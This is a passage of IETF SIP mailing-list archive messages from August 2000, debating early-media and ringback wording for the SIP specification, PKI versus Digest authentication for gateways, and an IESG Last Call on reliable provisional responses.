ringback. Cc: brett@broadsoft.com, sip@lists.bell-labs.com X-Sun-Charset: US-ASCII Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com > > Later session descriptions override > > earlier ones. > > Should this say "from the same UAS" to avoid the forking issue? > How has this solved the forking issue? > > If a 1xx response contains a session > > description, a > > UAC {\SHOULD} cease generating local ringback tone, but resume local > > ringback tone if it receives a 1xx response without a message > > body from > > the same destination. > > The term "message body" might be a little vague, as there could be a > non-media-related message body. > > I thought the last word in the thread was that the absence of an SDP > attachment would not affect the early media. In any case, everything after > the second comma could be removed, as it is duplicated below. I also thought that this was the case. Why the change? > > ??? Client > > behavior > > when receiving several different session descriptions from different > > branches is undefined. ??? > > > > Would anybody object to adding the following: > > "A UAS that expects to interoperate with non-SIP endpoints {\SHOULD} be > prepared for the possibility that no media will be received from the UAC > before the INVITE transaction is complete, even when a bidirectional early > media stream has been set up." Who is to say that this is incorrect/odd behavior. Just because a bi-directional media stream has been established, doesn't mean that media HAS to be sent. -- Sean Olson <sean.olson@ericsson.com> _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Sat Aug 26 12:31:43 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA22846 for <sip-archive@odin.ietf.org>; Sat, 26 Aug 2000 12:31:42 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 5DE064437B; Sat, 26 Aug 2000 12:31:21 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by lists.bell-labs.com (Postfix) with ESMTP id 041804439C for <sip@lists.bell-labs.com>; Fri, 25 Aug 2000 16:39:11 -0400 (EDT) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id QAA10097; Fri, 25 Aug 2000 16:39:04 -0400 (EDT) Message-ID: <39A6D968.647FBFDB@cs.columbia.edu> Date: Fri, 25 Aug 2000 16:39:04 -0400 From: Henning Schulzrinne <schulzrinne@cs.columbia.edu> Organization: Columbia University, Dept. of Computer Science X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: Michael Thomas <mat@cisco.com> Cc: Jonathan Rosenberg <jdrosen@dynamicsoft.com>, David Harris <dlharris@nortelnetworks.com>, "Sip-Implementors (E-mail)" <sip-implementors@cs.columbia.edu>, sip <sip@lists.bell-labs.com> Subject: Re: [SIP] Re: SIP gateways and authentication References: <89866A7EC9C0D1119C950000F8BCC282016352E9@zrtpd00n.us.nortel.com> <39A6035E.4DDC74C0@dynamicsoft.com> <14758.38134.851139.496078@thomasm-u1.cisco.com> <39A6B1C4.E424802F@cs.columbia.edu> <14758.48066.388917.988364@thomasm-u1.cisco.com> <39A6C0C3.7BEC4838@cs.columbia.edu> <14758.49815.427708.431582@thomasm-u1.cisco.com> <39A6C49E.9844FF65@cs.columbia.edu> <14758.51787.331133.132625@thomasm-u1.cisco.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Michael Thomas wrote: > > Just because I trust your certificate to name > you as Henning doesn't relieve me of knowing > what you're authorized for. There are two different things here: - trusting the information (which is what we started out from in this gateway discussion, e.g., trusting the caller-id value). Here, it's good enough to know that it's an AT&T gateway, say (see earlier discussion). Whether I accept a call from that gateway is a separate matter and something that no third party can authorize anyway. (That is, the traditional "Cisco badge" model doesn't apply here.) - granting authorization (should my phone ring). For authorization, the Basic/Digest mechanisms works, since I can hand out user names and secrets to the very small subset of people in the world that I want to be able to call me (at least outside certain hours or using certain means of communication). This also works for outside gateway access since the gateway has to have at least an indirect business relationship with me in any event, requiring prior establishment of trust. > That means that I > keep it in some sort of database or it needs > to be transfered in the authentication token > (cert, ticket). Keeping a symmetric key in that > database as well doesn't seem to much of a > stretch. > > So, I still don't see what you've bought > yourself with PKI, other than lots of CPU > cycles to do private key operations. If you See above. Again, at the danger of repeating myself, I'm talking about things we can do today and where they might be useful. (Beyond the do-I-trust-this-caller-id problem, public-key signed requests are also useful for the is-this-call-really-from-the-local-gas-company problem. Secret-based authentication, as in Basic and Digest, does nothing for me there.) > encode the authorization into the cert you > fall back into the same problem of realm > multiplicity, if you don't you've consigned > yourself to database lookups. > > > This does not mean that you couldn't use a ticket-based system (Kerberos > > and kin), but we're here talking about the existing SIP authentication > > mechanisms Basic, Digest and PGP (or, in the case of S/MIME, trivially > > added), not something that doesn't exist yet in our context. > > There are two possiblities: > > 1) Carry the authentication in SIP itself which runs > into the MTU problems, naively. Are there statistics on the typical cert size? > 2) Carry the authentication in a separate protocol > (such as the results of the KINK to-be-WG) and > reuse digest authentication as the means of > generating the keyed hash. > > I generally don't like reliance on third party > protocols/questionable layering, but it is a > possiblity and is somewhat inherent in both > IPsec and TLS schemes (less so with TLS, but > still). Again, none of this addresses current capabilities and models. > > Mike -- Henning Schulzrinne http://www.cs.columbia.edu/~hgs _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Sat Aug 26 12:33:12 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA22866 for <sip-archive@odin.ietf.org>; Sat, 26 Aug 2000 12:33:11 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 20486443A0; Sat, 26 Aug 2000 12:31:36 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from NOD.RESTON.MCI.NET (nod.reston.mci.net [166.60.6.38]) by lists.bell-labs.com (Postfix) with ESMTP id B9C574439C for <sip@lists.bell-labs.com>; Fri, 25 Aug 2000 16:50:56 -0400 (EDT) Received: from sjo-dhcp0181.mcit.com ([166.60.6.251]) by shoe.reston.mci.net (PMDF V5.2-32 #40475) with ESMTP id <01JTE794U9K29N4774@shoe.reston.mci.net> for sip@lists.bell-labs.com; Fri, 25 Aug 2000 16:50:50 EST Date: Fri, 25 Aug 2000 13:50:47 -0700 From: Paul Krumviede <paul@mci.net> Subject: Re: [SIP] Re: SIP gateways and authentication In-reply-to: <14758.51787.331133.132625@thomasm-u1.cisco.com> To: Michael Thomas <mat@cisco.com>, Henning Schulzrinne <schulzrinne@cs.columbia.edu> Cc: Jonathan Rosenberg <jdrosen@dynamicsoft.com>, David Harris <dlharris@nortelnetworks.com>, "Sip-Implementors (E-mail)" <sip-implementors@cs.columbia.edu>, sip <sip@lists.bell-labs.com> Message-id: <843805530.967211447@sjo-dhcp0181.mcit.com> MIME-version: 1.0 X-Mailer: Mulberry/2.0.3 (Win32) Content-type: text/plain; format=flowed; charset=us-ascii Content-disposition: inline Content-transfer-encoding: 7BIT Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7BIT i'm missing something here. with certificates, one can, at least in theory, attempt to do path discovery/validation, which seems to be able to do much better than "database lookups" in trying to deal with "realm multiplicity." one can also attempt to specify and apply policies as part of the path validation exercise. one can't do this with older PGP keys, but one can get an X.509 certificate for at least some PGP keys (i haven't tried it with all the different flavors of keys). granted, this could chew up lots of cycles and network time. also, there may be reasons to not want to accept certificates from third parties, such as verisign class one certificates, as they don't really give much authentication, but that seems like something that could be handled by policy in the verification path. as to authorization issues, one could look into attribute certificates, but that seems orthogonal to authentication (and can't be done in a pure PGP or S/MIME context anyway, as far as i know). -paul --On Friday, 25 August, 2000 12:34 -0700 Michael Thomas <mat@cisco.com> wrote: > Henning Schulzrinne writes: > > Michael Thomas wrote: > > > Not true. You are still guessing that the UAS will > > > trust that certificate hierarchy. That may not be > > > a valid assumption. It's the exact same problem > > > as guessing which basic/digest realm might be needed > > > along the way. I can just as easily posit a global > > > symmetric key realm as a global PKI realm. Both > > > are fantasies. > > > > Given the practical success of having CA's embedded in millions of web > > clients, this seems at least feasible and works millions of times each > > day, even though it's less than ideal if you're a new CA and want to > be > recognized as such. > > Just because I trust your certificate to name > you as Henning doesn't relieve me of knowing > what you're authorized for. That means that I > keep it in some sort of database or it needs > to be transfered in the authentication token > (cert, ticket). Keeping a symmetric key in that > database as well doesn't seem to much of a > stretch. > > So, I still don't see what you've bought > yourself with PKI, other than lots of CPU > cycles to do private key operations. If you > encode the authorization into the cert you > fall back into the same problem of realm > multiplicity, if you don't you've consigned > yourself to database lookups. > > > This does not mean that you couldn't use a ticket-based system > (Kerberos > and kin), but we're here talking about the existing SIP > authentication > mechanisms Basic, Digest and PGP (or, in the case of > S/MIME, trivially > added), not something that doesn't exist yet in our > context. > > There are two possiblities: > > 1) Carry the authentication in SIP itself which runs > into the MTU problems, naively. > 2) Carry the authentication in a separate protocol > (such as the results of the KINK to-be-WG) and > reuse digest authentication as the means of > generating the keyed hash. > > I generally don't like reliance on third party > protocols/questionable layering, but it is a > possiblity and is somewhat inherent in both > IPsec and TLS schemes (less so with TLS, but > still). _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Sat Aug 26 12:34:31 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA22877 for <sip-archive@odin.ietf.org>; Sat, 26 Aug 2000 12:34:31 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id EF5FD443B9; Sat, 26 Aug 2000 12:32:04 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ietf.org (odin.ietf.org [132.151.1.176]) by lists.bell-labs.com (Postfix) with ESMTP id A41E84439C for <sip@lists.bell-labs.com>; Fri, 25 Aug 2000 17:25:54 -0400 (EDT) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA29749; Fri, 25 Aug 2000 17:25:53 -0400 (EDT) Message-Id: <200008252125.RAA29749@ietf.org> To: IETF-Announce: ; Cc: sip@lists.bell-labs.com From: The IESG <iesg-secretary@ietf.org> Reply-To: iesg@ietf.org Date: Fri, 25 Aug 2000 17:25:53 -0400 Subject: [SIP] Last Call: Reliability of Provisional Responses in SIP to Proposed Standard Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com The IESG has received a request from the Session Initiation Protocol Working Group to consider Reliability of Provisional Responses in SIP <draft-ietf-sip-100rel-02.txt> as a Proposed Standard. The IESG plans to make a decision in the next few weeks, and solicits final comments on this action. Please send any comments to the iesg@ietf.org or ietf@ietf.org mailing lists by September 8, 2000. Files can be obtained via http://www.ietf.org/internet-drafts/draft-ietf-sip-100rel-02.txt _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Sat Aug 26 12:36:02 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA22899 for <sip-archive@odin.ietf.org>; Sat, 26 Aug 2000 12:36:02 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 638E0443C5; Sat, 26 Aug 2000 12:32:15 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by lists.bell-labs.com (Postfix) with ESMTP id 2BD4C4439C for <sip@lists.bell-labs.com>; Fri, 25 Aug 2000 17:29:01 -0400 (EDT) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id RAA13322; Fri, 25 Aug 2000 17:28:58 -0400 (EDT) Message-ID: <39A6E51A.4590AB7F@cs.columbia.edu> Date: Fri, 25 Aug 2000 17:28:58 -0400 From: Henning Schulzrinne <schulzrinne@cs.columbia.edu> Organization: Columbia University, Dept. of Computer Science X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: Rick Workman <rworkman@nortelnetworks.com> Cc: sip@lists.bell-labs.com Subject: Re: [SIP] Remote ringback. References: <E39024226822D311BC880008C77318A1AB757A@oteis01nok> <049e01c00ba3$adadfed0$3202a8c0@broadsoft.com> <39A4BB82.19559938@dynamicsoft.com> <39A52333.A1E79D73@cs.columbia.edu> <39A5F723.7C8909E0@dynamicsoft.com> <39A6BB92.EB836D5E@cs.columbia.edu> <39A6CBA8.BB5B4198@americasm01.nt.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Rick Workman wrote: > > > > I'd really prefer if no SDP content meant no change in the current > media configuration regardless of what message carried it. If a UAS > wants to terminate early media, shouldn't it send a media description > with port=0 as in any other stream removal (Section B.5)? > Good point. Changed. -- Henning Schulzrinne http://www.cs.columbia.edu/~hgs _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Sat Aug 26 12:37:26 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA22918 for <sip-archive@odin.ietf.org>; Sat, 26 Aug 2000 12:37:26 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 4528B443D3; Sat, 26 Aug 2000 12:32:29 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by lists.bell-labs.com (Postfix) with ESMTP id BE54E4439C for <sip@lists.bell-labs.com>; Fri, 25 Aug 2000 17:48:52 -0400 (EDT) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id RAA14301; Fri, 25 Aug 2000 17:48:43 -0400 (EDT) Message-ID: <39A6E9BB.9DBC827F@cs.columbia.edu> Date: Fri, 25 Aug 2000 17:48:43 -0400 From: Henning Schulzrinne <schulzrinne@cs.columbia.edu> Organization: Columbia University, Dept. of Computer Science X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: Cliff.Harris@nokia.com Cc: jdrosen@dynamicsoft.com, brett@broadsoft.com, sip@lists.bell-labs.com Subject: Re: [SIP] Remote ringback. References: <E39024226822D311BC880008C77318A1AB7588@oteis01nok> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit New text: Informational (1xx) responses other than 100 (Trying) {\MAY} contain message bodies, including session descriptions. The session description allows the UAC to receive special announcements or progress tones and to provide responses to assist in creating the call (``early media''). If a 1xx response contains a session description, a UAC {\SHOULD} cease generating local ringback tone. Session description in 1xx responses are interpreted in the same manner as those in 2xx responses. Later session descriptions from the same UAS override earlier ones. The UAS can remove the media stream by setting the port number to zero in a subsequent session description contained in a provisional response and thus restore normal ringback behavior. A provisional response without a session description has no effect on any early media that have already been set up. The media streams are assumed to be bidirectional unless marked as send-only or receive-only. For SDP, this is described in Section~\ref{sec:sdp}. Client behavior when receiving several different session descriptions from different branches is undefined. -- Henning Schulzrinne http://www.cs.columbia.edu/~hgs _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Sat Aug 26 12:38:42 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA22929 for <sip-archive@odin.ietf.org>; Sat, 26 Aug 2000 12:38:41 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id E741D443E0; Sat, 26 Aug 2000 12:33:00 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by lists.bell-labs.com (Postfix) with ESMTP id E07E74439C for <sip@lists.bell-labs.com>; Fri, 25 Aug 2000 17:49:56 -0400 (EDT) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id RAA14390; Fri, 25 Aug 2000 17:49:53 -0400 (EDT) Message-ID: <39A6EA01.70518E4B@cs.columbia.edu> Date: Fri, 25 Aug 2000 17:49:53 -0400 From: Henning Schulzrinne <schulzrinne@cs.columbia.edu> Organization: Columbia University, Dept. of Computer Science X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: Cliff.Harris@nokia.com Cc: jdrosen@dynamicsoft.com, brett@broadsoft.com, sip@lists.bell-labs.com Subject: Re: [SIP] Remote ringback. References: <E39024226822D311BC880008C77318A1AB7588@oteis01nok> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Cliff.Harris@nokia.com wrote: > > > "A UAS that expects to interoperate with non-SIP endpoints {\SHOULD} be > prepared for the possibility that no media will be received from the UAC > before the INVITE transaction is complete, even when a bidirectional early > media stream has been set up." Nobody can require that I send media for anything, so I'm not sure this is particularly special or helpful. -- Henning Schulzrinne http://www.cs.columbia.edu/~hgs _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Sat Aug 26 14:53:21 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA23796 for <sip-archive@odin.ietf.org>; Sat, 26 Aug 2000 14:53:21 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 7F05444368; Sat, 26 Aug 2000 14:53:04 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 49A9C4434A for <sip@lists.bell-labs.com>; Sat, 26 Aug 2000 14:53:01 -0400 (EDT) Received: from dynamicsoft.com (1Cust23.tnt2.freehold.nj.da.uu.net [63.17.114.23]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id OAA16548; Sat, 26 Aug 2000 14:54:31 -0400 (EDT) Message-ID: <39A811AE.3411B0C3@dynamicsoft.com> Date: Sat, 26 Aug 2000 14:51:26 -0400 From: Jonathan Rosenberg <jdrosen@dynamicsoft.com> Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Henning Schulzrinne <schulzrinne@cs.columbia.edu> Cc: Cliff.Harris@nokia.com, brett@broadsoft.com, sip@lists.bell-labs.com Subject: Re: [SIP] Remote ringback. References: <E39024226822D311BC880008C77318A1AB7588@oteis01nok> <39A6E9BB.9DBC827F@cs.columbia.edu> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Henning Schulzrinne wrote: > > New text: > > Informational (1xx) responses other than 100 (Trying) {\MAY} contain > message bodies, including session descriptions. The session description > allows the UAC to receive special announcements or progress tones and to > provide responses to assist in creating the call (``early media''). If > a 1xx response contains a session description, a UAC {\SHOULD} cease > generating local ringback tone. Session description in 1xx responses > are interpreted in the same manner as those in 2xx responses. Later > session descriptions from the same UAS override earlier ones. I think "override" is not well specified enough. We have defined rules that make it clear what it means for A to send B an SDP, and then for B to send an SDP back to A in such a way that we can correlate things. I believe we must stick with that behavior by somehow mapping the sequence of SDP we can see into this two phase process. So, I would propose that: 1. SDP returned in a provisional MUST be formatted in such a way that it would be valid if it were returned in a 200 instead, 2. If an SDP is returned in one provisional response, and then a later provisional response contains SDP, this new SDP is treated as if it were the original response to the SDP in the INVITE. 3. The SDP in the 200 response is also treated as if it were the one and only SDP received from the UAS, along the same lines as (2). Note that this has some implications, particularly, you cannot add a media stream from one 183 to the next. Some other interactions to consider. We allow the INVITE to not contain SDP, and then the 200 and ACK both contain SDP (again, everything must be mapped to the rules for this two-phase SDP exchange). In this case, can a 183 be sent with SDP if there was no SDP in the INVITE? I would assume yes, but if, and only if, PRACK is used, and the PRACK contains SDP (this way, the two phase exchange is 183/PRACK). Now, if there are subsequent 183, each with SDP, those 183 COULD do things like add media streams, as they represent the initial SDP in the two phase process. Now, that raises another issue. If the original INVITE does contain SDP, and then the 183 contains SDP, can the PRACK contain SDP? I say no - same reason you shouldn't have SDP in the INVITE, OK and ACK. Comments? -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Sat Aug 26 15:02:34 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA23941 for <sip-archive@odin.ietf.org>; Sat, 26 Aug 2000 15:02:34 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 06E24443B1; Sat, 26 Aug 2000 15:02:04 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from hd2.dot.net.in (hd2.vsnl.net.in [202.54.30.2]) by lists.bell-labs.com (Postfix) with ESMTP id 88E724434A for <sip@lists.bell-labs.com>; Sat, 26 Aug 2000 15:01:58 -0400 (EDT) Received: from bigboy ([203.197.21.207]) by hd2.dot.net.in (8.8.8/8.8.8) with SMTP id AAA13890 for <sip@lists.bell-labs.com>; Sun, 27 Aug 2000 00:28:41 +0530 (IST) Message-ID: <003601c00f90$5f8c2060$cf15c5cb@bigboy> Reply-To: "farhan" <farhan@hotfoon.com> From: "farhan" <farhan@hotfoon.com> To: <sip@lists.bell-labs.com> Date: Sun, 27 Aug 2000 00:33:49 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3110.5 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Subject: [SIP] value added services on SIP Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit imho when we discuss sip extensions, it is the classical case of inheritance vs. encapsulation. do we extend sip with more request types rather than reuse the existing ones? let me stick my neck out and say this ... protocols that were endlessly extended have never succeeded. look at tcp/ip, how many different types of headers does it have? (is it three or four?). how many types of requests does HTTP have? do they have different requests for different types of services and web-sites? Did we have to change the email protocol to create the web based email? (SMTP remained SMTP all along, and will do so for a long time to come). I guess that when we talk of extending a protocol, we should first examine, if it is not possible to implement the functionality within the existing mechanisms. I would like to see services being build on top of sip rather than within. For instance, MESSAGE can be used (in comibination with authenication schemes already in place) for online payments. A session of MESSAGE exchanges should be terminable with a BYE. If a MESSAGE no with body can be used to query presence, use it. I guess that we are talking of a lot many things that one would like to see being implemented and this list will never end. We need a protocol that is small and flexible and not one which will spawn such a large variety of variations that it willl become impossible to implement it all in a reasonable space. (The voida stack requires 256 MB of memory to compile. I will have to wait for that venture cap funding to arrive before I can afford to compile it). The issue of optimal implementation is not as important as simplicity. many of the issues that we are engaging in may not be a very big deal in the coming times. for instance, authentication. the best authentication of an incoming call is, ofcourse, the caller's voice recognition and not the digital id. (how many digital ids will i feed into my sip-mobile-phone-cum-palm-electric-shaver?) i also believe that internet realtime sessions will evolve and spread just like email did about 7-8 years ago. the calling costs will drop to zero. it is only a bandwidth issue from here onwards. therefore, payments, authentications will be as useful as they are for email users and email service providers. this brings me to a fairly controversial subject (of endless debate with my colleagues in 'suits') that there will be as much money to be made in internet telephony as there is in email. there will be money mostly ip telephony hardware. not much in software. - farhan _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Sat Aug 26 20:03:33 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA26009 for <sip-archive@odin.ietf.org>; Sat, 26 Aug 2000 20:03:32 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 8611C4438D; Sat, 26 Aug 2000 20:03:05 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from exchangesvr.nuera.com (unknown [204.216.240.124]) by lists.bell-labs.com (Postfix) with ESMTP id CAEBE4434A for <sip@lists.bell-labs.com>; Sat, 26 Aug 2000 20:03:01 -0400 (EDT) Received: by exchangesvr.nuera.com with Internet Mail Service (5.5.2650.21) id <RT0ZXYF0>; Sat, 26 Aug 2000 17:02:55 -0700 Message-ID: <B16E9BA540A0D211A11D00105A65571F01446744@exchangesvr.nuera.com> From: "Fairlie-Cuninghame, Robert" <rfairlie@nuera.com> To: "'Henning Schulzrinne'" <schulzrinne@cs.columbia.edu> Cc: jdrosen@dynamicsoft.com, sip@lists.bell-labs.com Subject: RE: [SIP] Remote ringback. Date: Sat, 26 Aug 2000 17:02:54 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Sounds great. We should also clarify the difference between 180 & 183 with SDP. For instance specifying explicitly which response code should be used for remote ringback during user alerting (180 seems to be the winner) verse non-user alerting progress tones (183). Cheers, Robert. > -----Original Message----- > From: Henning Schulzrinne [mailto:schulzrinne@cs.columbia.edu] > Sent: Saturday, August 26, 2000 7:49 AM > To: Cliff.Harris@nokia.com > Cc: jdrosen@dynamicsoft.com; brett@broadsoft.com; > sip@lists.bell-labs.com > Subject: Re: [SIP] Remote ringback. > > > New text: > > Informational (1xx) responses other than 100 (Trying) {\MAY} contain > message bodies, including session descriptions. The session > description > allows the UAC to receive special announcements or progress > tones and to > provide responses to assist in creating the call (``early > media''). If > a 1xx response contains a session description, a UAC {\SHOULD} cease > generating local ringback tone. Session description in 1xx responses > are interpreted in the same manner as those in 2xx responses. Later > session descriptions from the same UAS override earlier ones. > The UAS > can remove the media stream by setting the port number to zero in a > subsequent session description contained in a provisional response and > thus restore normal ringback behavior. A provisional > response without a > session description has no effect on any early media that have already > been set up. > > The media streams are assumed to be bidirectional unless marked as > send-only or receive-only. For SDP, this is described in > Section~\ref{sec:sdp}. Client behavior when receiving > several different > session descriptions from different branches is undefined. > > -- > Henning Schulzrinne http://www.cs.columbia.edu/~hgs > > > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Sat Aug 26 20:22:44 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA26075 for <sip-archive@odin.ietf.org>; 